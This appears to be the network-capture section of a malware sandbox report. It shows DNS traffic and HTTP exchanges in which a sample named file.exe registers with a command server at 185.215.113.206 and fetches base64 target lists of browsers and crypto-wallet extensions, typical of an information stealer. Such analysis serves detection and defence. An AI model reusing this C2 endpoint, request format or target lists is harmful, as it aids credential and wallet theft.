Nov 25, 2024 16:21:32.565565109 CET	192.168.2.5	1.1.1.1	0x47a2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:32.722476006 CET	192.168.2.5	1.1.1.1	0xd49f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:32.722620010 CET	192.168.2.5	1.1.1.1	0x869a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:33.522849083 CET	192.168.2.5	1.1.1.1	0xc284	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.523044109 CET	192.168.2.5	1.1.1.1	0x6dac	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:33.599375010 CET	192.168.2.5	1.1.1.1	0xcebe	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.599714041 CET	192.168.2.5	1.1.1.1	0xa780	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:33.677620888 CET	192.168.2.5	1.1.1.1	0x75f3	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.678356886 CET	192.168.2.5	1.1.1.1	0xc6ae	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:33.817075014 CET	192.168.2.5	1.1.1.1	0x9d6	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.817358971 CET	192.168.2.5	1.1.1.1	0xb40e	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 25, 2024 16:22:32.435626984 CET	192.168.2.5	1.1.1.1	0x16e4	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:22:32.435791016 CET	192.168.2.5	1.1.1.1	0x5956	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 16:21:17.899632931 CET	1.1.1.1	192.168.2.5	0x84b	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:17.899647951 CET	1.1.1.1	192.168.2.5	0xc6de	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 16:21:28.581187963 CET	1.1.1.1	192.168.2.5	0x97e4	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:28.581754923 CET	1.1.1.1	192.168.2.5	0xcc7b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:28.919197083 CET	1.1.1.1	192.168.2.5	0x2bb	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:29.055999041 CET	1.1.1.1	192.168.2.5	0xd496	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:29.055999041 CET	1.1.1.1	192.168.2.5	0xd496	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:30.888835907 CET	1.1.1.1	192.168.2.5	0xe8ce	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:30.983433962 CET	1.1.1.1	192.168.2.5	0x845e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:31.574807882 CET	1.1.1.1	192.168.2.5	0xd2ab	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:31.574807882 CET	1.1.1.1	192.168.2.5	0xd2ab	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:31.574825048 CET	1.1.1.1	192.168.2.5	0x9800	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:32.702090979 CET	1.1.1.1	192.168.2.5	0x2117	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:32.702090979 CET	1.1.1.1	192.168.2.5	0x2117	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:32.702102900 CET	1.1.1.1	192.168.2.5	0x187d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 16:21:32.702711105 CET	1.1.1.1	192.168.2.5	0x47a2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 16:21:32.704436064 CET	1.1.1.1	192.168.2.5	0x2fbd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:32.704436064 CET	1.1.1.1	192.168.2.5	0x2fbd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:32.866630077 CET	1.1.1.1	192.168.2.5	0x869a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 16:21:32.866811037 CET	1.1.1.1	192.168.2.5	0xd49f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:32.866811037 CET	1.1.1.1	192.168.2.5	0xd49f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.660212994 CET	1.1.1.1	192.168.2.5	0xc284	No error (0)	sb.scorecardresearch.com		3.160.188.18	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.660212994 CET	1.1.1.1	192.168.2.5	0xc284	No error (0)	sb.scorecardresearch.com		3.160.188.50	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.660212994 CET	1.1.1.1	192.168.2.5	0xc284	No error (0)	sb.scorecardresearch.com		3.160.188.19	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.660212994 CET	1.1.1.1	192.168.2.5	0xc284	No error (0)	sb.scorecardresearch.com		3.160.188.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:33.737365007 CET	1.1.1.1	192.168.2.5	0xa780	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:33.737759113 CET	1.1.1.1	192.168.2.5	0xcebe	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:33.815071106 CET	1.1.1.1	192.168.2.5	0x75f3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:33.815990925 CET	1.1.1.1	192.168.2.5	0xc6ae	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:33.958441973 CET	1.1.1.1	192.168.2.5	0x9d6	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:21:33.958512068 CET	1.1.1.1	192.168.2.5	0xb40e	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:22:32.573834896 CET	1.1.1.1	192.168.2.5	0x5956	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 16:22:32.670003891 CET	1.1.1.1	192.168.2.5	0x16e4	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6092	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 16:21:07.006436110 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 16:21:08.555306911 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 16:21:08.645751953 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 43 42 46 42 39 33 46 33 30 30 33 32 38 33 38 39 36 32 36 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="hwid"2ECBFB93F3003283896264------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="build"mars------IJDGCAEBFIIECAKFHIJE--
Nov 25, 2024 16:21:09.159691095 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 64 6d 4d 54 55 31 5a 47 45 78 4e 44 41 30 4e 54 41 7a 5a 44 64 68 4d 32 51 78 4d 44 67 33 5a 54 56 69 4d 44 52 6b 4e 6a 59 78 59 7a 4e 6a 4f 54 6b 34 5a 44 67 30 4e 6a 4d 78 4d 57 5a 6b 59 6d 51 31 4e 6a 46 6a 5a 6a 4d 31 4f 47 59 35 4e 44 6b 32 4f 47 59 77 59 57 59 79 4f 54 59 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTdmMTU1ZGExNDA0NTAzZDdhM2QxMDg3ZTViMDRkNjYxYzNjOTk4ZDg0NjMxMWZkYmQ1NjFjZjM1OGY5NDk2OGYwYWYyOTY3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 25, 2024 16:21:09.161295891 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 2d 2d 0d 0a Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="message"browsers------IDHIDBAEGIIIDHJKEGDB--
Nov 25, 2024 16:21:09.807069063 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 25, 2024 16:21:09.807452917 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 25, 2024 16:21:09.837366104 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 25, 2024 16:21:09.838946104 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="message"plugins------BFIJEHCBAKFCAKFHCGDG--
Nov 25, 2024 16:21:10.391947985 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 25, 2024 16:21:10.391963959 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 25, 2024 16:21:10.391977072 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 25, 2024 16:21:10.392059088 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 25, 2024 16:21:10.392071962 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 25, 2024 16:21:10.392081976 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
